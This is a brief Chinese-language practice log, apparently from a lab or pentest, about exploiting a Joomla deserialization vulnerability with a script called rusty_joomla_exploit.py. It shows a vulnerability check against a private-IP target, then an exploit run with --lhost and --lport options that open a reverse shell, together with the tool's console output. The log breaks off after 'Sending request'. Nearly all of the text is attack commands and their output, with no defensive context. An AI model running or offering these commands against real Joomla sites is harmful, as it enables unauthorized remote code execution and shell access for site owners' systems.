joomla 反序列化漏洞利用
实战:
python3 rusty_joomla_exploit.py -t http://172.16.100.40/ -c
[] Starting …
[] Target URL: http://172.16.100.40/index.php/component/users
[] Getting Session Cookie …
[] Getting CSRF Token …
[] Sending request …
[+] Vulnerable
[] Use --exploit to exploit it
python3 rusty_joomla_exploit.py -t http://172.16.100.40/ --exploit --lhost 172.16.100.40 --lport 6666
[] Starting …
[] Target URL: http://172.16.100.40/index.php/component/users
[] Getting Session Cookie …
[] Getting CSRF Token …
[] Sending request …
[+] Vulnerable
[] Getting Session Cookie …
[] Getting CSRF Token …
[] Sending request …